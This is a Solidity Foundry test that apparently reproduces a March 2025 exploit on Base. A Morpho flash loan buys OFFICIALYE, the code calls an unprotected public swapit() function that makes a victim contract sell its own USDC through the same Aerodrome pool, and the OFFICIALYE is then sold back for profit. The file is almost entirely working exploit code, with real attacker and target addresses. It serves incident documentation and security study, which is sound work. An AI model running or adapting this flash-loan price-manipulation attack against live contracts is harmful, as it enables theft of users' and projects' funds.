src/test/2025-03/unverified_de7c_exp.sol

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.15;
3 
4// @KeyInfo - Total Lost : 980.32 USDC
5// Attacker : 0x97d8170e04771826A31C4c9B81E9f9191a1C8613
6// Attack Contract : 0x123c06D5CA1Dd1a518118e786A1976BED5e16aA3
7// Vulnerable Contract : 0xdE7CA40aE3C3430723A2d1E3AE0e6e27152744B0
8// Attack Tx : https://basescan.org/tx/0x6f027b83222ea0eea50fe673d7e14836357e55c50a551ab3e2f9623b5854b613
9//
10// @Info
11// Vulnerable Contract Code : https://basescan.org/address/0xdE7CA40aE3C3430723A2d1E3AE0e6e27152744B0#code
12//
13// @Analysis
14// Twitter Guy : https://t.me/defimon_alerts/560
15//
16// Attack summary: The attacker flash-bought OFFICIALYE, called public swapit() on an unverified swap helper that sold its own USDC through the same Aerodrome pool, then sold OFFICIALYE back for USDC profit.
17// Root cause: Public swapit() allowed any caller to trigger a contract-owned USDC swap through Aerodrome, letting the caller choose the timing and harvest the price impact.
18 
19import "../basetest.sol";
20import "../interface.sol";
21 
22address constant ATTACKER = 0x97d8170e04771826A31C4c9B81E9f9191a1C8613;
23address constant MORPHO_BLUE = 0xBBBBBbbBBb9cC5e90e3b3Af64bdAF62C37EEFFCb;
24address constant USDC_TOKEN = 0x833589fCD6eDb6E08f4c7C32D4f71b54bdA02913;
25address constant OFFICIALYE_TOKEN = 0xedb54f9ffA78f0A0d50dC0c1534f4cBAd2ff3F35;
26address constant VULNERABLE_SWAPPER = 0xdE7CA40aE3C3430723A2d1E3AE0e6e27152744B0;
27address constant AERODROME_ROUTER = 0xcF77a3Ba9A5CA399B7c97c74d54e5b1Beb874E43;
28address constant AERODROME_FACTORY = 0x420DD381b31aEf6683db6B902084cB0FFECe40Da;
29 
30interface IAerodromeRouter {
31    struct Route {
32        address from;
33        address to;
34        bool stable;
35        address factory;
36    }
37 
38    function swapExactTokensForTokens(
39        uint256 amountIn,
40        uint256 amountOutMin,
41        Route[] calldata routes,
42        address to,
43        uint256 deadline
44    ) external returns (uint256[] memory amounts);
45}
46 
47interface IUnverifiedDe7cSwapper {
48    function swapit() external;
49}
50 
51contract ContractTest is BaseTestWithBalanceLog {
52    function setUp() public {
53        uint256 forkBlock = 27_235_725;
54        vm.createSelectFork("base", forkBlock);
55 
56        fundingToken = USDC_TOKEN;
57        attacker = ATTACKER;
58 
59        vm.label(ATTACKER, "Attacker");
60        vm.label(MORPHO_BLUE, "Morpho Blue");
61        vm.label(USDC_TOKEN, "USDC");
62        vm.label(OFFICIALYE_TOKEN, "OFFICIALYE");
63        vm.label(VULNERABLE_SWAPPER, "Unverified swapit target");
64        vm.label(AERODROME_ROUTER, "Aerodrome Router");
65    }
66 
67    function testExploit() public balanceLog {
68        uint256 beforeBalance = IERC20(USDC_TOKEN).balanceOf(ATTACKER);
69 
70        // step 1: deploy a fresh helper and borrow the same USDC amount from Morpho.
71        vm.startPrank(ATTACKER, ATTACKER);
72        OfficialYeSwapitAttack attackHelper = new OfficialYeSwapitAttack();
73        attackHelper.execute(3_300_000_000);
74        vm.stopPrank();
75 
76        // step 4: Morpho is repaid and the helper forwards the remaining USDC to the attacker.
77        uint256 profit = IERC20(USDC_TOKEN).balanceOf(ATTACKER) - beforeBalance;
78        assertGt(profit, 900_000_000, "USDC profit");
79    }
80}
81 
82contract OfficialYeSwapitAttack {
83    address private immutable owner;
84 
85    constructor() {
86        owner = msg.sender;
87    }
88 
89    function execute(
90        uint256 flashLoanAmount
91    ) external {
92        require(msg.sender == owner, "only owner");
93 
94        IERC20(USDC_TOKEN).approve(MORPHO_BLUE, type(uint256).max);
95        IMorphoBuleFlashLoan(MORPHO_BLUE).flashLoan(USDC_TOKEN, flashLoanAmount, abi.encode(VULNERABLE_SWAPPER));
96 
97        uint256 remainingUsdc = IERC20(USDC_TOKEN).balanceOf(address(this));
98        IERC20(USDC_TOKEN).transfer(owner, remainingUsdc);
99    }
100 
101    function onMorphoFlashLoan(
102        uint256 assets,
103        bytes calldata data
104    ) external {
105        require(msg.sender == MORPHO_BLUE, "only Morpho");
106        address vulnerableSwapper = abi.decode(data, (address));
107 
108        IERC20(USDC_TOKEN).approve(AERODROME_ROUTER, type(uint256).max);
109        IERC20(OFFICIALYE_TOKEN).approve(AERODROME_ROUTER, type(uint256).max);
110 
111        // step 2: buy OFFICIALYE before triggering the vulnerable contract's own swap.
112        IAerodromeRouter.Route[] memory buyRoute = new IAerodromeRouter.Route[](1);
113        buyRoute[0] =
114            IAerodromeRouter.Route({from: USDC_TOKEN, to: OFFICIALYE_TOKEN, stable: false, factory: AERODROME_FACTORY});
115        IAerodromeRouter(AERODROME_ROUTER)
116            .swapExactTokensForTokens(assets, 1, buyRoute, address(this), block.timestamp + 1000);
117 
118        // step 3: anyone can call swapit(), forcing the target to swap its own USDC balance.
119        IUnverifiedDe7cSwapper(vulnerableSwapper).swapit();
120 
121        uint256 officialYeBalance = IERC20(OFFICIALYE_TOKEN).balanceOf(address(this));
122        IAerodromeRouter.Route[] memory sellRoute = new IAerodromeRouter.Route[](1);
123        sellRoute[0] =
124            IAerodromeRouter.Route({from: OFFICIALYE_TOKEN, to: USDC_TOKEN, stable: false, factory: AERODROME_FACTORY});
125        IAerodromeRouter(AERODROME_ROUTER)
126            .swapExactTokensForTokens(officialYeBalance, 1, sellRoute, address(this), block.timestamp + 1000);
127    }
128}